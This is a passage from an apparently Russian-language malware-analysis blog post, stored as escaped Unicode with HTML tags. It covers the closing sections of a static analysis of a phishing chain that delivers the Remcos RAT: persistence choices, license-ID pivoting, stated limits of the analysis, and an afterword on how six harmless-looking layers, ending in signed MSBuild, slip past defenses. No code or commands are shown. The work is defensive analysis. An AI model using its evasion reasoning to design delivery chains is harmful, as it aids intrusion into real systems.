          Watchdog \u0442\u043e\u0436\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d. \u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0441\u0442\u043e\u0440\u043e\u0436\u0435\u0432\u043e\u0439 bat-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0437 \u0432 70 \u0441\u0435\u043a\u0443\u043d\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0436\u0438\u0432 \u043b\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u2014 \u0435\u0433\u043e \u043d\u0435\u0442.<\/p>\n<\/li>\n
        3. \n
          \u0423 \u0441\u0430\u043c\u043e\u0433\u043e Remcos \u0444\u043b\u0430\u0433 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0442\u043e\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u0432 \u043d\u0443\u043b\u0435. \u041e\u043d \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u043d\u0430 \u0434\u0438\u0441\u043a, \u043d\u0435 \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a. \u041f\u0440\u043e\u0441\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u042d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c. \u042d\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u00ab\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0439\u00bb \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438: \u0437\u0430\u0439\u0442\u0438, \u043f\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0443\u0439\u0442\u0438. \u0422\u0430\u043a\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u043c\u0435\u043d\u044c\u0448\u0435 \u043f\u0430\u043b\u0438\u0442\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u043b\u0433\u043e\u0436\u0438\u0432\u0443\u0449\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432.<\/p>\n<\/li>\n<\/ol>\n
          \u0418 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0430\u0436\u043d\u0430 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0423 Remcos \u043d\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u00ab\u0441\u0435\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u00bb \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u0435\u0439. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0441\u0432\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0431\u043e\u0440\u043a\u0443 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Remcos \u0441 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u043c ID \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u044c.<\/p>\n
          \u00a0\u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043f\u043e ID \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0438\u0432\u043e\u0442\u0438\u0442\u044c. \u0415\u0441\u043b\u0438 \u043e\u043d \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0441\u044f \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u0430\u0445 \u0440\u0430\u043d\u044c\u0448\u0435 \u2014 \u0435\u0441\u0442\u044c \u0448\u0430\u043d\u0441 \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438. \u0415\u0441\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0441\u044f \u2014 \u044d\u0442\u043e \u0441\u0432\u0435\u0436\u0438\u0439 IOC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0432\u0441\u043f\u043b\u044b\u0432\u0451\u0442 \u0433\u0434\u0435-\u0442\u043e \u0435\u0449\u0451. \u0412 \u043d\u0430\u0448 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u0442\u0430 \u0441\u0432\u044f\u0437\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0430, \u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u0440\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u044f \u043d\u0435 \u0431\u0435\u0440\u0443\u0441\u044c. \u041d\u043e \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043c\u0435\u0442\u043a\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f.<\/p>\n
          \u0427\u0442\u043e \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0437\u0430 \u043a\u0430\u0434\u0440\u043e\u043c<\/h2>\n
          \u041b\u044e\u0431\u043e\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u0434\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0438 \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438. \u0412 \u044d\u0442\u043e\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0437\u0430 \u043a\u0430\u0434\u0440\u043e\u043c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0449\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0447\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0443 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u043b\u043e\u0441\u044c \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043a\u0430\u0440\u0442\u0438\u043d\u044b.<\/p>\n
          \u0412\u0435\u043a\u0442\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 <\/strong>.js<\/strong><\/code>.<\/strong> \u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0430\u0439\u043b \u0441 \u0438\u043c\u0435\u043d\u0435\u043c dTSlkj83JJD.js<\/code> \u043f\u043e\u043f\u0430\u043b \u043a\u043e \u043c\u043d\u0435, \u044f \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e. \u0414\u043b\u044f \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0441\u0430\u043c\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u0442\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041d\u043e \u0434\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u0438\u043c\u0435\u043d\u043d\u043e \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435. . <\/p>\n
          \u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c.<\/strong> \u042f \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u043b\u0441\u044f \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0437 C2 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b, \u0436\u0438\u0432\u044b \u043b\u0438 \u043e\u043d\u0438. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u043e\u043c\u0435\u043d\u044b Remcos \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u043b\u0438\u0441\u044c, \u043d\u043e \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u0435\u0437 \u0440\u0438\u0441\u043a\u0430 \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u0438 \u0431\u0435\u0437 \u0440\u0438\u0441\u043a\u0430 \u0441\u043f\u0443\u0433\u043d\u0443\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0436\u0438\u0432\u043e\u0441\u0442\u0438 C2 \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430, \u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0451 \u043d\u0430\u0434\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e, \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u043e, \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, \u0430 \u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0440\u0442\u0430.<\/p>\n
          \u0410\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044f \u2014 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441.<\/strong> \u042f \u043d\u0435 \u043c\u043e\u0433\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u043a\u0442\u043e \u0437\u0430 \u044d\u0442\u0438\u043c \u0441\u0442\u043e\u0438\u0442. \u041b\u043e\u0430\u0434\u0435\u0440 \u0438\u0437 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u2014 \u0445\u043e\u0434\u043e\u0432\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430\u043c\u0438. Remcos \u2014 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0443\u043f\u0430\u044e\u0442 \u0441\u0430\u043c\u044b\u0435 \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0446\u0435\u043f\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0430 \u0431\u044b \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u044d\u0442\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 Remcos. \u041d\u043e \u044d\u0442\u043e \u0442\u0435\u043c\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434\u044b \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u044d\u043c\u043f\u043b\u0443 \u044f \u043d\u0435 \u0431\u0435\u0440\u0443\u0441\u044c.<\/p>\n
          \u0418, \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u0441\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437 \u0431\u044b\u043b \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c.<\/strong> \u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u044f \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c, \u043d\u0438 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435, \u043d\u0438 \u043d\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u042d\u0442\u043e \u0434\u0430\u043b\u043e \u043c\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438 \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435 \u0440\u0435\u0436\u0438\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043d\u0435\u0439 \u0437\u0430\u043b\u043e\u0436\u0435\u043d\u044b, \u043d\u043e \u043d\u0435 \u0434\u0430\u043b\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u0438\u0434\u0435\u043d \u043b\u0438 \u0432\u0441\u0451-\u0442\u0430\u043a\u0438 cmd.exe<\/code> \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0447\u0435\u0440\u0435\u0437 WMI, \u0438\u043b\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 ShowWindow<\/code> \u0432 \u044d\u0442\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. \u0412 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c.<\/p>\n
          \u041e\u0433\u043e\u0432\u043e\u0440\u043a\u0430<\/p>\n
          \n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
          \n
          \u0421\u0442\u043e\u0438\u0442 \u043f\u043e\u044f\u0441\u043d\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0432\u0441\u0435 \u0436\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0431\u044b\u043b\u0430. \u041d\u0443\u0436\u043d\u044b \u0431\u044b\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b \u0438 \u0432 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u0434\u0436\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u043e\u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0438.<\/p>\n<\/div>\n<\/details>\n
          \u00a0\u042d\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432. \u0418\u0434\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043d\u0435 \u0431\u044b\u0432\u0430\u0435\u0442: \u0432\u0441\u0435\u0433\u0434\u0430 \u0447\u0442\u043e-\u0442\u043e \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043a\u0430\u0434\u0440\u043e\u043c \u2014 \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0438\u0445 \u0441\u0431\u043e\u0440 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043b\u0435\u0436\u0438\u0442 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u0412\u0430\u0436\u043d\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0438\u0434, \u0447\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0430 \u0447\u0435\u0441\u0442\u043d\u043e \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c \u0433\u0440\u0430\u043d\u0438\u0446\u044b.<\/p>\n
          \u041f\u043e\u0441\u043b\u0435\u0441\u043b\u043e\u0432\u0438\u0435<\/h2>\n
          \u00a0\u0415\u0441\u043b\u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0430\u0431\u0437\u0430\u0446\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u0442\u0430\u043a. \u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u043d\u0435 \u0432\u0438\u0440\u0443\u0441 \u0438 \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440<\/strong>. \u0428\u0435\u0441\u0442\u044c \u0441\u043b\u043e\u0451\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043f\u043e\u0447\u0442\u0438 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u0435\u043d: \u0441\u043a\u0440\u0438\u043f\u0442 \u0441 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 PowerShell, \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430, \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b, \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u044d\u0442\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043d\u0435\u0447\u0442\u043e, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438. \u0410 \u0432\u043c\u0435\u0441\u0442\u0435 \u043e\u043d\u0438 \u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e RAT.<\/p>\n
          \u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0441\u0443\u0442\u044c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433. \u0414\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0430, \u043a\u043e\u0433\u0434\u0430 \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0441\u043b\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e .exe<\/code> \u0441 \u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0443 \u0437\u0430\u0449\u0438\u0442\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0431\u044b\u043b \u043f\u043e\u0432\u043e\u0434 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u00ab\u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u00bb<\/strong>. \u0421\u043a\u0440\u0438\u043f\u0442 \u2014 \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043e\u043d \u043d\u0435 EXE. \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u2014 \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043c\u044b \u0442\u0430\u043a\u043e\u0435 \u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u043c. \u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u2014 \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u044d\u0442\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430. \u0422\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u2014 \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0442\u0430\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0442\u0435\u043a\u0441\u0442. MSBuild \u2014 \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u044d\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 Microsoft 